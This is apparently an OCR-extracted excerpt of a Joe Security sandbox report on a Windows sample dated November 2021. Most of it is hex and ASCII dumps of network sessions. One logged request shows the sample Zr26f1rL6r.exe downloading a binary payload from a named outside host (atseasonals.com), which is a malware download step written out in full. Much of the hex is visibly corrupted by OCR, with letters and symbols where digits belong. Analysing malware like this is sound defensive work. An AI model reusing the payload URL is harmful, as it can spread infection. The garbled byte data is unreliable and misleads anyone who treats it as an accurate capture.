9a 55 17 45 a0 fa bd 7e 1f f2 d7 03 23 43 a8 de 65 00 d3 08 03 ac 26 b0 2c 8c 9f 1e cO da e5 37 2a 35 8f e7 ch 8b 47 8d
80 aa 84 3c 1adl 1c 19 3b 59 32 00 ee a6 ee Ob 4e c7 d6 f8 60 ad b4 4e 79 42 75 54 88 f2 ab de 03 1b 96 83 4b 6a df 54
a9 aa 6e b0 el 59 b2 15 34 66 €8 e4 10 64 a7 08 47 f3 f3 61 15 2e 78 ed a5 b0 da 42 62 c8 f5 ec fc 71 ¢6 15 d3 b6 70 90
fc de b0 d8 4c 15 cb al 22 0d 1e 81 48 b6 16 Oc 62 9e ee 76 33 fb 7a 62 30 2c a9 7a 45 06 87 Oc 22 52 7a Oa 6¢ 7d d4 5¢c
7b 06 25 f8 e3 42 5f 87 a5 38 68 74 4a 91 e5 5e e3 9d
Data Ascii: OD:gYk{- (>GP: dgN21q>J&%7|g36gUE~#Ce&,7*5G<;Y2N NyBuTKjTnY4fdGa.xBbgpL"Hbv3zb0,zE"RzI}\
{%B_8htJ"

2021-11-25 12:01:25 UTC 414 IN Data Raw: bf 18 09 42 e2 32 a7 Oc 30 08 90 55 a3 2b b9 b8 84 1b 45 41 c0 82 0d f4 a3 b8 a8 al ae bf 2b 47 44 a8 2c 5b
84 87 82 7f c9 9b 6b 1f 6d 0d b8 2e 97 55 5e a3 b2 Oe 82 ab fc 9e 64 d2 e3 db 86 9e 55 b0 a9 d1 f2 bb 97 b6 96 fa 25 c7
54 b7 c9 14 13 bd 1a af 9d 05 6a aa a7 80 ec cb a8 16 a0 38 10 e8 a8 69 ce d4 d1 a9 3f 51 Ob 5a 61 f5 31 26 f6 f7 f7 5b
80 8e be bc fb 2f 27 9a 5b da 49 41 39 43 cd ac 92 7a 02 0f 2b d8 c9 56 b9 b8 cf 20 50 fb 06 c6 18 70 c4 62 b4 de 90 85
2b 5f €3 7d e5 8a 74 3e 54 ff 48 54 54 be b8 3b 55 e8 b3 16 07 4a 4b ff 86 83 6a 3d 2b c7 d1 3a ff 68 €3 f2 7c ee 76 ae 25
a6 a4 93 50 16 ff 63 44 28 38 44 cb 23 44 7e be Oe 8c al 9e 33 02 54 7b ba 5d 74 3d Oe c7 eb 9c 51 cc db 9e 55 ea 2 fa
73 ¢5 2e 92 50 b4 6¢ 89 16 ¢5 98 1b 85 5a 11 b1 98 fc
Data Ascii: B20U+EA+GD,[km.UNdU%T|8i?QZal&[/[IA9Cz+V Ppb+_}t>THTT;UJKj=+:h|v%PcD(8D#D~3T{]t=QUs.PIZ

2021-11-25 12:01:25 UTC 422 IN Data Raw: 5d 34 b0 7b e5 91 6f Ob 13 20 17 da 67 57 a0 87 bf 95 4b 66 08 4b b8 f4 c4 76 99 4f 85 62 02 7e 7d c1 73 21
dO bf 49 0d d8 7a 64 07 5f 4f ce 97 Oa dc 94 26 24 cc a7 4c 6b 2f f2 7e d5 0d 1a 2d 1f 6b 5e d1 6¢ 73 4e 35 71 98 45 e0 30
a7 b3 8d e3 5d 52 d7 4c df 66 ca 50 €6 9e f9 db cb 67 4b 61 1b 57 48 5b 67 11 3f fc 47 11 41 a9 1b 47 a7 b8 c5 bd 5d 66
8 13 45 90 28 7e 19 90 4b 33 56 49 07 39 04 76 b3 75 01 cd 93 5b ed 1d e3 5a db 2b d2 ec 35 77 76 79 03 df f5 d3 92 6d
4f 01 fe 86 4d Ob 07 3e 66 8d d9 Oe cO 9b 7e cd be c2 80 5¢ 5e d5 b2 e2 15 84 2d 45 89 c4 ba e9 61 08 90 3f fe fe 22 7e
ec 44 62 1b 5a 49 79 0a e9 {7 34 42 40 f0 a0 Oa 7b 2a fd 43 2e b3 1f cf 90 f7 b9 c5 01 85 38 a2 62 bc 74 89 5f c5 3a 50 99
72 7b 4a 7a e7 4f 3e 3f 4f 01 07 17 8f 87 bb 3b 67
Data Ascii: ]4{o gWKfKvOb~}s!lzd_O&$Lk/~-k"sN5qEO]RLfPgKaWH[g?GAGIfE(~K3VI9vu[Z+5wvymOM>f~\"-Ea?"~D
bZlyAB@{*C.8bt_:Pr{Jz0>?0;g

2021-11-25 12:01:25 UTC 429 IN Data Raw: 18 ba d6 5f 31 8a 16 79 cd 91 4e f2 19 c0 f5 c6 18 df fe 49 41 a4 f9 01 01 c3 25 55 8b 7b b0 39 2d 43 7e 3 cO
eb 7a 5¢ d6 bc fe 7c 4e d0 ba 11 1e a4 17 b2 32 49 ce c7 7a 4e 8d b9 60 b8 33 b8 6d 1a 1d 83 d0 d2 a9 67 fc d6 70 ec 9d
4 a6 bd 6e 42 bd d6 80 76 ef df da 0d c8 05 47 ad b3 dd 5f 07 09 ba 73 79 96 b3 61 05 11 76 d1 62 e7 5f 5d 42 68 6b 6c
b0 7c 3b c2 95 30 81 73 b3 09 38 ae 72 9e b7 c4 97 c2 e7 ca 91 83 30 b2 cf da aa 1b fa 3a 81 b4 90 12 de 6a 7a 66 5f cd
b1 6d 9d 5a a9 e4 12 33 71 2f d1 Ob 58 c2 41 59 a7 9f ae 57 ba da c6 cc be ec €5 b7 ad 90 16 3f 23 18 f1 78 al e6 64 42
92 13 28 a0 11 10 8f b0 25 fd b6 ab df 1c b7 53 bf bf 30 99 84 al 6d 4f f4 d6 6f 06 a3 69 83 2a ac 32 1f 4d b2 91 8a a4 51
6c 98 d7 6d 3d 14 3f df 56 31 39 ed d0 3c ce ab fb
Data Ascii: _1yNIA%U{9-C~z\|N2IzN"3mgpnBvG_syavb_]Bhkl|;0s8r0:jzf_mZ3q/XAYW?#xdB(%S0mO0i*2MQIm=?V19<

2021-11-25 12:01:25 UTC 437 IN Data Raw: 6f 5d 45 95 9d 3b a9 46 1e a9 07 f0 80 ff 1a c7 4e 4d 60 f6 d3 24 ac 27 97 eb 78 e5 e4 a6 88 9b a3 fe Oa 74 Oe
32 12 df 1c 3¢ 25 9c 0d 2f 91 02 62 3f c4 89 de 67 b4 4f 61 d8 7a 83 bl 61 55 39 e2 4b €9 6d 26 98 ce 55 el 11 d3 32 Oa
3d 68 6d c2 66 1b 83 d9 97 18 4e 47 56 c3 60 20 88 38 c2 f3 2e dc 30 4a 41 70 12 57 8b 03 ae 63 67 16 90 d4 ff a2 0a 98
d8 40 7d 17 e4 00 b6 c0 64 24 7c a8 16 dd 07 f1 21 cb 98 d6 27 39 3d a7 ec d0 07 2c eb ec 90 aa 8a 15 2e 68 5a 7f f1 9d
84 a6 31 df ee Ob 8b 7e be e3 e4 18 74 97 3f a2 a3 1d c8 16 63 da a7 49 8b Oa 4a 33 fa ff eb 53 3a 00 88 5f 82 e3 3f 29 fa
c7 ef 47 6¢c 78 5b e4 49 ea 16 1c 84 e2 89 05 a2 3e 18 1a ef 81 al 0f 5d 66 05 cd 9e e9 a7 39 c4 3a 1c be 6a b9 84 90 82
b3 2e 12 4f 3a 26 41 41 75 54 5d 38 69 c3 3e 92 18
Data Ascii: 0]E;FNM $'xt2<%/b?g0azaU9Km&U2=hmfNGV" 8.0JApWcg@}d$|!'9=,.hZ1~t?clI3S:_?)GIxX[I>]f9:j.O:
&AAUT]8i>

2021-11-25 12:01:25 UTC 445 IN Data Raw: d7 10 b6 98 45 cc 3c 2d €9 70 9f 88 67 fe 72 93 45 00 1d c6 9b 03 23 12 a3 77 0d e2 5b ea 8b 15 f5 ba d5 3d
5c f6 4b d5 b4 61 9a 8b a9 6f 43 88 8a 8¢ 8b 8¢ 4b 9c 87 62 97 fc 66 9a e9 3a 8b 21 e2 b2 c7 2e 5d 99 66 5¢ 78 22 51 43
7554 53 c8 ¢8 23 b0 18 90 8e c2 88 20 f9 e7 07 96 0 6a df Oa d1 5c ee 31 e7 97 dd 65 b8 ea 5e 61 df 9c 7b 80 05 9b 3e
b2 ca 61 57 2f 53 80 be 77 ea 10 dd b4 a0 a3 80 50 1a 24 9d 43 72 21 01 d4 a0 34 b0 c1 91 5d 15 60 7e 61 38 93 3d 97
2b db fc 55 54 d7 87 a4 Oe b3 e3 73 cf 7b 28 b7 bd 77 aa b1 13 51 ac eb fd e0 fc 49 6f 15 ea 97 ba 9c b5 d5 66 5f 48 f4 93
02 76 00 bb 3f 08 2e 5¢ 21 56 17 23 56 €8 85 35 1c 3e 28 88 72 ¢7 3d d0 6d b3 23 00 73 36 17 c0 c9 fa c1 1f 5d 25 47 a2
a7 7e 30 58 b7 d5 2f 03 de 2c 4b 05 5d 85 a9 b9 63 36 fb
Data Ascii: E<-pgrE#w[=\KaoCKbf:L.]\x"QCuTS# j\le"a{>aW/SwP$Cr!4] ~a8=+UTs{(wQlof_Hv? \IV#V5>(r=m#s
6]%G~0X/,K]c6

2021-11-25 12:01:25 UTC 453 IN Data Raw: 77 d8 7b 6b 2a 25 48 05 38 5e 9d dc f4 d5 3¢ 5d e0 6e e4 c8 68 e7 36 a5 16 5a 57 9b 93 9c Oc 60 78 8¢ 64 f7
4c 19 9e c8 33 5e 88 6e cf 74 36 3e 04 4f 09 ea ed c5 a0 59 b6 9e df dd 6e 38 70 0d 5¢ e9 b5 4b 39 d8 0d a4 54 49 21 d1
5c 77 d0 6¢ a6 50 75 c¢9 e3 e0 58 ¢7 6a 53 79 02 74 05 5a ae 8a d6 83 Oc 58 7a 6f c3 4a 54 bl aa 7c 6a 0f 22 66 7e da 93
al 94 3f 56 58 62 52 Ob 69 bb 7a 3d fe bf a3 32 07 83 f0 9d b1 c9 a2 64 07 f7 ea 9b 79 6d d3 30 72 a2 49 17 2d e3 35 af
553 b4 aa e4 70 ed 05 8c f2 a5 de b7 08 77 56 fa 52 ¢8 9d d8 10 54 46 9e ec 20 66 3a al 4b 55 3f 11 a6 fd ca f1 2c cc a6
18 1b b6 02 21 ec f3 55 2b 67 16 d5 86 01 3b 2b 8a 92 86 c5 87 df 33 ce 8f 80 ef cf dd 67 9a 1c b9 12 3e cb a2 d2 53 e6
59 a9 4a 31 bf 19 18 a0 d3 d9 df 5e d1 42 b2 1e f3 e
Data Ascii: W{k*%H8"<]nh6Z\W xdL3"nt6>0Yn8p\KITINWIPuXjSytZXzoJT|j"f~?VXbRiz=2dymOrl-5UpwVRTF f:KU?,
1U+g;+3g>SYJ1"B
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kBytes
Timestamp transferred

2021-11-2512:01:25 UTC 461

2021-11-2512:01:25 UTC 468

2021-11-2512:01:25 UTC 476

2021-11-2512:01:25 UTC 484

Session ID Source IP

3 192.168.11.20
kBytes

Timestamp transferred

2021-11-2512:01:32 UTC 491

2021-11-2512:01:33 UTC 492

2021-11-2512:01:33 UTC 492

2021-11-25 12:01:33 UTC 500

2021-11-25 12:01:33 UTC 507

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49841

Direction

ouT

Data

Data Raw: cb 25 e9 09 0a 08 6¢ 8d 8b 5b 75 bd f1 b1 f1 0d 75 87 30 c0 6a 79 ca 9a 11 96 39 85 12 83 5b ec cb c2 11 25
bf 7d 84 49 61 87 75 48 20 d3 77 54 80 6d 37 d6 21 5f f7 3a 47 51 af d0 51 81 fa 8a 4c 26 63 57 94 fd 3d 7 d7 e7 68 b1 73
f4 97 f4 0 c4 79 dc 51 18 5¢ 96 56 23 ea 00 35 €3 40 c1 24 d2 f5 1f 01 93 ¢3 f7 73 79 10 02 14 7 8c dc 89 2c 3a a8 84 ad
05 81 69 03 54 95 e9 ca 86 f7 b0 f1 15 f7 7d 81 31 5b 95 bd 4d al 3e ad a4 0a e6 54 40 fb f9 20 09 aa a8 80 88 2a fa e5 Of
89 3a 3b 4a b9 ec cd bc e4 2e 6f 43 f4 1e ae 6d 18 75 46 3c a5 4f db 34 9c 46 8e ce 9b b1 93 43 fc eb f1 43 76 76 eb 4c
a0 b4 c5 7d 49 44 3b f3 22 61 46 c5 ac ed ca af ad b4 eb d0 ab 13 80 af 21 78 a0 df c5 1c 87 fc 15 80 eb 65 84 73 26 72
96 b3 fe 20 21 79 fd 60 2f 60 a9 6¢ ec f9 cf 4a

Data Ascii: %I[uu0jy9[%}lauH wTm7!_:GQQL&CW=hsyQ\V#5@$%$sy,:iT}1[M>T@ *:;J.0CmuF<O4FCCvVL}ID;"aF!xes&r
\AAIN]

Data Raw: 14 27 Ob 9e 3f 22 e9 el 4b d7 fd cc 2a a7 20 d8 27 4a 9c 34 2 fa 06 6b 51 fe e8 1e ef d9 65 5a 30 88 ae 98 ec
320 2b 3b f3 6b 7d 5e 83 15 29 c8 e7 62 72 4f 8¢ 26 85 aa fa cf 66 09 05 02 d1 12 ae 29 d8 86 31 29 1e 97 c9 89 c3 d7
06 9f 65 8f 3e c1 85 6¢ 36 fd 3c 3a 7e 39 a8 d8 ce 56 6a 11 ec 96 bb 06 9e 1f bc d1 08 55 d1 21 b0 f2 d2 e2 af 1c ad d9 fa
80 cc be 13 3c 63 f4 d9 29 6d 36 61 01 2a 29 84 0d 19 8f 4a 65 9a 08 8d 93 60 57 20 9a 19 ec 50 27 97 5c da 73 d2 4a 49
73 64 fa ee 91 c5 c2 e5 69 16 f4 3e 59 92 80 2c 94 20 8f 45 08 cb 2d 15 35 8f f3 4b 37 e6 65 cb bc 8e 2c d3 63 82 f4 81 74
54 03 3b 09 9d 85 4e da le a3 23 5a 54 72 7d 03 30 a8 bb 60 2e 83 4e dc 16 7d ef fe 6e 6d 33 b1 f0 al 64 a6 48 3b 4f 21
2b 9e 7f 39 4d c1 5a 3e 27 bd eb €3 29 c9 27 eb

Data Ascii: '?"K* 'J4kQeZ02+;k}")brO&f)1)e>16<:~9VjU!<c)mba*)Je'W P"\sJIsdi>Y, E-5K7e,ctT;N#ZTr}0".N}nm3dH;O!+
IMZ>")"

Data Raw: 7d ee 93 7c c8 a7 54 e9 el 5f 44 d4 7b 12 05 02 53 9a 24 be 8f ee 28 6e 94 04 0Ob e3 80 fc 64 b6 94 90 4d c1
cb 50 70 5b Oc e3 da 4d 13 12 79 c9 d5 39 2c ba 06 19 fa 4f 70 ca 7f cc dd 3d 43 10 1c 4a 6b 80 dd b6 b9 3c e5 4f 38 8b
8b af 80 fd 32 8e 5¢ 66 €9 be 8e 5¢ da 58 ce Oc €9 al 5d fe de 19 6d 15 ec 43 35 6 8f b6 5d 29 e9 ab ed 8e 13 13 01 6¢
c1 b6 66 7e 9e d8 ea 93 9e 56 cb 42 90 99 98 79 ca cb d1 d6 aa 89 d0 d6 81 1c 74 cd 82 e0 6b 93 48 f2 0f 9c c2 fb ee 8
ca 1b 76 60 c2 ae ab 9b 5d 07 1d cd 6d 03 39 4b 02 c2 06 5e fa €6 d2 57 5d 95 38 2c aa 8d 0f 9b a8 dd 19 c5 52 b3 1f ad
b5 02 25 ab 37 36 60 25 b8 cc cd 2c 39 71 e8 86 57 cc 8d 44 ea 3e 87 9f 5b 0a 60 8b 99 66 aa b4 52 b4 91 ca 69 c7 29 63
93 e4 9e Oc c0 ee 48 c3 41 2a 4b d5 ff 09 33 8b 8f 7e 30

Data Ascii: }|T_D{S$(ndMPp[My9,0p=CJIk<O082\\X]mC5))If~VBytkHv Im9IK"W]8,R%76 %,9qWD>[ fRi)cHA*K3~0

Data Raw: 07 13 23 bb 38 c9 12 7e 8f ba c8 7b 28 f2 25 a6 e8 69 ac ac 9a dd 8f 1d a9 13 57 58 58 e8 63 34 d0 83 66 01
0d 00 6¢ 4b 59 dd 90 91 dd 19 42 76 7f e8 78 a2 04 fb 83 63 bd 05 c7 d2 Oe el d9 00 60 8a 34 73 c8 78 3e 5b e7 3e a3 9d
ed 5b 1a 06 f0 9f 51 fa 44 a4 95 ae 99 79 f2 2b 5¢ 9f c0 c4 5b 64 al 76 e2 26 98 54 b0 67 60 f8 9b a2 b3 6a 1d d4 ac 87
321354 da 1b 70 52 ¢3 09 51 1c 05 4a 39 37 8¢ 1e d5 98 4a dd 10 04 06 Oe ab c0 ec de 54 c1 e5 4b e3 9f a9 b5 33 Ob 6d
03 3b ea 64 49 al 8a c4 0d 1b d3 59 41 4a 0d 86 49 38 72 c8 ca cd 5f cf Oc 86 70 a9 fc f7 09 35 bl a9 71 42 c4 37 f4 b8 4f
18 f7 22 b0 e9 62 6e b5 c8 df 7e 73 f2 93 ab 94 f2 9e 37 6b 95 3 05 3d 96 36 a0 97 a6 db a5 95 e4 a7 7e 3a e0 e6 ed 80
3b 17 16 ed fc ab d1 bc 64 ff 41 fb eb 91 c1 8e 6f f4

Data Ascii: #8~{(%iIWXXc4flKYBvxc 4sx>[>[QDy+\[dv&Tg j2TpRQJII7ITK3m;dIYAJI8r_p59gB70"bn~s7k=6~:;dAo

Destination IP Destination Port Process

107.6.148.162 443 C:\Users\user\Desktop\Zr26f1rL6r.exe

Data

GET /GHirtt/bin_kbJoepxz175.bin HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: atseasonals.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 25 Nov 2021 12:01:33 GMT

Server: Apache

Last-Modified: Wed, 24 Nov 2021 12:20:38 GMT
Accept-Ranges: bytes

Content-Length: 167488

Connection: close

Content-Type: application/octet-stream

Data Raw: 70 99 dO d2 81 fc a4 8c 6e ba 05 d0 4f 67 65 7f 4e 1e 4a f3 03 49 ab 4d 8 3b 67 96 a3 b5 f7 07 46 d9 a0 8b 7f
32 0c 43 a2 5a 42 b2 12 de b0 f4 94 d3 dc 46 6¢ cf 8e 15 59 63 2a 6b 99 39 71 c3 a8 94 6¢ 4a 84 13 81 5d 6a le 54 51 46
ba f1 ed d4 08 cO 6b 8d b8 64 71 ec 91 c7 1a 01 6d 7f 49 a6 3a 51 3c d1 ca Oc 98 4f 06 47 24 6b ec 56 9c d7 39 29 7f 90 8
10 2b ff c6 eb 49 87 e7 €0 70 77 €6 54 c0 aa f3 4b 59 89 c0 66 fa 8f 90 47 e4 0a 64 47 b5 d4 b5 71 92 58 65 b7 82 12 15
37 dd 6f c2 ec 2e 2b df 1d cf 2c 5e 7a d8 f2 d7 16 ec 09 81 e5 9d 39 0d e2 1d d4 71 ba ff de 2e 9b 03 5e 74 c4 af 5¢ 6d 82
2a 3afb 21 10 13 c5 ce 56 69 4f 4e 29 b7 4f 90 af €9 9a cd 2d 39 69 e5 2b 66 10 5b b4 5e 9d €0 bl bl c0 09 52 76 c0 87
3399 a3 bb ca 51 43 75 54 5b 4e a0 ab 74 91 19

Data Ascii: pnOgeNJIM;gF2CZBFIYc*k9qlJ])iTQFkdgmI:Q<OG$kV9)+IpwTKYIGdGgXe70.+,z9q. t\m*:!VION) O-9i+f
[*RV3QCUT[Nt

Data Raw: 8e bc 4e ec 48 d6 a2 16 02 23 e6 e8 1f c6 a2 f1 87 bf bc dc f2 e5 1d 71 93 43 e5 8 66 89 73 ea 07 49 9d 46 cf
62 29 04 b0 e9 ff 10 16 06 87 4d 38 5b 62 65 fc dc 00 f5 ba 79 ad 56 32 fd 03 8f fb 4b a3 5d d9 ce 81 4a 9e 3d 17 f4 d2 al
€7 87 3d fd 91 4b 9a 13 dd 39 3b €3 c6 4f 06 1c 79 d3 83 26 00 53 1b 67 5¢ 44 5b d7 c5 62 93 8e 6f 5e 54 c¢7 c8 d9 a6 d5
ad 5a 6e da 10 69 ¢7 77 c2 68 d5 b1 0a 47 90 €0 8d 6a c4 32 66 27 47 62 84 7f 3d 22 1c 03 85 6¢ ab 59 45 eb 4f 70 ed 38
f2 31 d8 5d 7f f7 6a d4 8d €0 3d 2c 94 bd bd 34 7c 13 68 7f d2 e5 fe ¢7 04 85 50 1c bd 6 f8 38 d0 29 78 5b 26 a9 d3 c5 eb
01 5f 8a aa 88 23 3f 9d Oe a8 06 f9 96 8b 3e 21 23 9c 5b 82 da cd 2b 99 a0 fe 37 cb c6 17 31 d1 3e 34 39 7e 3f 48 2b bc
1099 e2 7e 1d 53 6¢ €7 67 00 b8 4c cb 8f 35 3¢

Data Ascii: NH#qCfsIFb)M8[beyV2K]J==K9;0y&Sg\D[bo"TZniwhGj2f Gb="IYEOpP81]j=,4|hP8)X[&_ #?>I#[+71>49~?
H+~SlgL5<

Data Raw: 17 ca c¢7 b5 b0 fd 86 d4 50 e2 18 b0 be fc 2c 30 5¢ 16 11 88 54 5e c2 28 df 35 9a e5 69 10 10 31 89 2f e6 ff 54
6f a8 c6 95 52 74 48 ¢3 55 81 2d a3 39 d4 90 8c de 8f ac 70 eb dO 5¢ 9a b4 cb c6 df e5 6e 92 bb e0 07 43 df 69 24 b6 a3 ff
52 4d 29 ca 8f 99 4e 68 fd 8d 02 21 f9 01 4f dO 8 f4 b2 d7 01 9e 4f 32 70 2f 03 53 61 cf 97 3d 62 d8 cb 03 51 97 a7 1f fa
e3e0 00 ae 92 0e 09 13 96 7e 52 65 3e 2c 36 85 a9 5f 75 e6 c6 6b 89 ¢3 66 55 25 98 6d c9 f0 bf 96 47 05 9a 61 2d 1b 23
3c d2 96 92 82 cd d6 ba 3e e6 4b 58 a5 48 1a 87 7a 4e a4 al b0 2f c4 55 d6 16 76 a6 7e 33 3e 12 d9 fe 29 5¢ 1b e6 13 d5
acal ad c2 77 9a 02 73 8b ad 40 f6 2c 55 64 27 90 b5 a5 e4 a9 df 87 eb b3 1f Oe 25 al 6a 1c 00 e9 16 al dc 22 2a cc fc
49 cb 9d 4b 61 fc 33 db 5f 43 37 03 ¢7 17 86 ac
Data Ascii: P,0\TA(5i1/ToRtHU-9p\nCi$RM)Nh!002p/Sa=bQ~Re>,6_ukfU%mGa-#<>KXHzN/Uv~3>)\ws@,Ud'%j"*IKa3

Cc7
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kBytes
Timestamp transferred Direction Data

2021-11-25 12:01:33 UTC 515 IN Data Raw: 5e 04 43 a7 80 c5 2e bc ac 30 1b fd 04 75 d2 7b c3 ff 8f b3 94 45 75 96 b0 c1 Oe c5 b4 fe 2¢c bl ea f1 19 bc 38
04 74 40 16 58 cf 71 Of 1d 37 59 d4 56 20 d6 3b Ob 08 06 2b 25 af 1c e8 5d 25 2b a9 a9 84 c0 fc 5¢ 15 9e 07 91 73 db 7e
b9 86 27 ec 6f ef 41 31 47 63 86 4f b4 d0 c0 7e 85 7f 34 15 92 9b a9 64 70 cc de 9f a5 6e db 3f e8 ec 35 9e a0 26 0f 59 b8
24 95 fd 58 9f 6f 6a 5 01 85 0a Ob 08 6a €0 61 43 7d 0a 70 5d d7 d5 19 95 5a d5 8c f0 37 72 50 a0 cc 8 47 f9 ef af e9 4c
94 65 65 81 fa 5¢ 37 a8 ch a6 7c dd a5 58 79 el 91 0a 47 af 03 bc cf 03 e8 4d d6 93 39 65 e6 7b 6a fb 85 bc aa 46 76 d9
b3 d3 9e 04 54 9e 7f e3 4f 52 87 33 b9 08 2f a0 02 a8 b2 21 6e 07 d1 3a 84 8d 7a 08 c8 80 91 23 98 Ob cb b7 03 07 3e 34
a9 c8c4 db f6 7c 5d 81 f9 6a 58 32 78 f5 85 ae
Data Ascii: *C.0u{Eu,8t@Xq7YV ;+%)]%+\s~'0A1GcO~4dpn?5&Y$X0jjaC}p]Z7rPGLee\7|XyGM9e{jFvTOR3/In:z#>4|]jX2x

2021-11-25 12:01:33 UTC 523 IN Data Raw: 10 24 e9 36 49 4b 33 3f ba 8b 32 30 9e 48 46 3e 28 7 ce ¢7 f9 03 dO cO 2b f2 4b 41 2c 3a 96 8e 46 0d 63 2d
d7 Ob 4e d7 ba ef b6 ec 68 3b e0 4e de 91 bd dc 1b d2 04 7c cO 14 44 a9 bf 32 ea 46 fa 70 92 bb e4 c5 95 17 c9 a0 2b Oa
81 c4 0d 82 88 14 16 3b 92 db 30 5 f8 f6 f5 b3 c6 8¢ ba b6 c4 91 6a 02 82 a5 9b 20 f9 72 f0 00 6f 46 3d 6¢ 9b fO 19 de 6a
192392 bb Ob fb 12 49 d8 d1 4e 31 fa ca 64 ef 07 91 de 08 9e fO 1b c4 57 59 a7 89 e0 ea d6 40 3c d5 le d7 ea 6e cO f1
67 de c3 ef c4 80 61 ac 13 a5 fa 22 90 53 e0 43 11 ec c3 €9 c4 f0 78 10 cd eb 15 6¢ 89 de e4 fe daOc 85 al 7c el ec 18
42 b4 26 ea ea 93 ec 02 99 62 cb 42 0d bl ce c6 06 10 35 4b 6b dc 91 88 92 c5 92 42 60 e4 07 80 b6 f6 b7 dc 88 2f 35 f3
c9 a7 ca 6e 25 6b 6f 92 8c 5a ac 9d 81 6f 70 42 41 83
Data Ascii: $61K3?20HF>(+KA,:Fc-Nh;N|D2Fp+;0j roF=lj#IN1dWY @<nga"SCxl|B&bB5KkB'/5n%koZopBA

2021-11-25 12:01:33 UTC 531 IN Data Raw: 8c e2 92 21 9f f8 12 80 71 84 bb 0d 80 91 03 cc 26 88 73 33 ec la dd b9 91 14 4c 37 25 ba 25 7e ef 29 al 28
6¢ c5 3d bb 07 44 cd €3 18 34 78 b9 €8 fO f3 88 4f d4 cb 68 a4 fc 81 7b 7d 01 17 38 a3 f9 03 2f 47 85 af 26 e8 15 78 €9 d3
8a 28 94 95 Oc €9 77 8b c1 dO 0f 3b 94 07 9b 6d 7a 2e ca fa ce 04 90 40 1le 60 b7 42 32 d7 88 60 d7 01 4c a0 5e cd 95 16
83 cle519 71 d4 ff ef b3 dc a3 40 aa 69 al 87 79 10 75 a2 d9 c6 08 60 bc 69 b4 13 01 ef 9c b6 75 ea 17 ed 29 9a 03 a0
d6 eb b7 a5 Oc 5a 64 5¢ a2 2b d3 cf 9f 5¢ 5e ac 0a d6 34 49 a4 4a a2 c7 83 ee 75 86 ae c1 67 cf 6f ca 3f Oe 9e b0 f9 e3 f9
e7 7fb7 97 3e 5b 8a a2 bb 41 14 53 f6 90 07 8e 60 df Oa f8 18 77 4c 6a 8f 8b 69 1f c7 08 6d cc 53 12 bf 2b b1 e2 4a c4 a6
d7 50 59 f2 5d 9c 2a 68 71 21 fd da 71 20 5¢ 63
Data Ascii: |q&s3L7%%~)(I=D4xOh{}8/G&x(w;mz.@ B2 L q@iyu’iu)Zd\+\*41Jugo?>[AS wLjimS+JPY]*hq!q \c

2021-11-25 12:01:33 UTC 539 IN Data Raw: 77 74 a8 2a 4b e2 06 58 96 8d ca 8d 97 65 ff 91 4b 09 4b d8 7f 8a 8e 9a b1l 7a 27 ad e7 be Oa c7 2a 84 66 f3
ed 22 14 a0 8a ab 86 86 a0 57 c7 6f 49 8f 15 82 df 06 4e ee 1b 5c 2f df ae ed cb Oc b3 38 49 dc d3 b9 ea 5e c8 37 11 ee
80 f9 3c 02 88 cf ac d7 f7 ec fc a8 71 ea 2c b6 70 94 26 40 07 5d ce 15 cb fa 24 65 43 be 34 b0 53 91 40 fd 60 7e 3a 3b 2a
60 f3 8c 2f 3f bd d9 42 87 58 a9 8f 58 3c c4 93 32 74 55 f4 6e al 4c bl 6e 83 75 68 2a 4a 63 ea cb 02 48 d2 d8 d5 9a a0
b7 fc 06 03 1a 56 ba 3f 46 4b 5c dd a9 e8 2a 7d df fb 81 e2 7b b7 60 72 c¢7 5b 59 al 35 ca e0 7f 37 65 86 21 06 3e €0 0d
95 41 ac 28 fe 43 2b 31 3d d3 fc 21 7d 45 2e f3 dO cb b9 1f 31 33 22 df 1d 92 al fe 51 3d dd d7 2a 99 ee d0 7d 36 26 61
80 a9 c0 3 18 39 8e 12 f9 c0 d1 a8 15 3d 5f 2f c9 82
Data Ascii: wt*KXeKKz*f*"WoINV8I"7<q,p&@]$eC4S@ ~:;*'/?BXX<2tUnLnuh*JcHV?FK\*}{ r[Y57e!>A(C+1=1}E.1
3"Q=*}6&a9%=_/

2021-11-25 12:01:33 UTC 546 IN Data Raw: 93 f7 95 01 1c €9 c¢9 90 db 44 18 ¢7 57 d0 65 23 22 c6 €3 c8 €8 80 e5 ee 48 59 19 8 44 3f 5a 75 8b ab f1 fd 5b
06 57 6a 17 2d b3 €0 72 42 be f5 13 a7 75 1a 9a c1 ad fe 4f cd 14 9e 03 2b 88 7c 5¢ 2d de ce 87 bc 11 6a 59 ba 4d fb c2
82 cd 64 f5 a3 d0 35 13 1f 03 48 7d 4f Ob ae 21 9c 2e 3f af ea b2 ed b3 c9 a7 85 bf 28 3a d8 92 a5 97 {7 58 6e 54 5d 55 59
b9 ¢8 70 61 b3 c5 12 1d 94 99 4b Oe 46 70 95 fa 71 be 7a 19 bc 37 de 26 a5 ab 9b 17 51 14 dd 66 56 fe Ob 3 d4 a9 5b fb
d2 71 2a 86 9d 04 9d 71 a0 dc 7 dd 00 fe b7 47 c8 ef 63 22 56 3c c7 bd c¢8 38 c9 13 86 fc 3d fO 20 87 af 9f 46 1e bd bf 5e
a8 85 3e 73 78 06 b5 45 c5 62 eb 73 8f eb ec e4 1d 01 2e 4d 1c 89 c4 3d 54 8 fe f1 95 7c Ob c4 4a 71 37 €0 19 dO dd ba
8d e7 1d bd fb 49 18 0f 47 81 bc 97 af b3 93 75
Data Ascii: DWe#"HYD?Zu[Wj-rBuO+|\-jYMd5H}O!.?(:XnT]UYpaKFpqz7&QfV[q*qGc"V<8= F >sxEbs.M=T|Jq7IGu

2021-11-25 12:01:33 UTC 554 IN Data Raw: c0 96 49 cd 9d e3 59 af 89 f3 bf ba ca 96 50 ca eb d6 6b 0f df e2 39 al bb el 71 2e dc 70 7c b3 fe b1 3d 5a dc
17 19 2b c5 8d eb ec 96 69 78 a3 1f 61 30 c4 3d f9 58 2a 3d 95 1a 3b 1d 02 8e c8 9¢ 35 3b 7e 33 01 91 2c 2a 2a e7 le Of
cd 58 3e c2 7d c3 1e be 57 dO 1f 43 a8 e9 b1 el 65 65 8f aa 09 4a 95 40 0a 95 59 2¢ 47 21 76 34 1d 92 67 77 b4 2e 95 22
53 5b 16 a9 33 38 85 97 9e ad c7 bd cf 33 ae fe 8a e3 4d 65 3b a0 e3 f1 b3 28 45 95 ae 00 8d 57 13 4d a2 aa e7 81 51 61
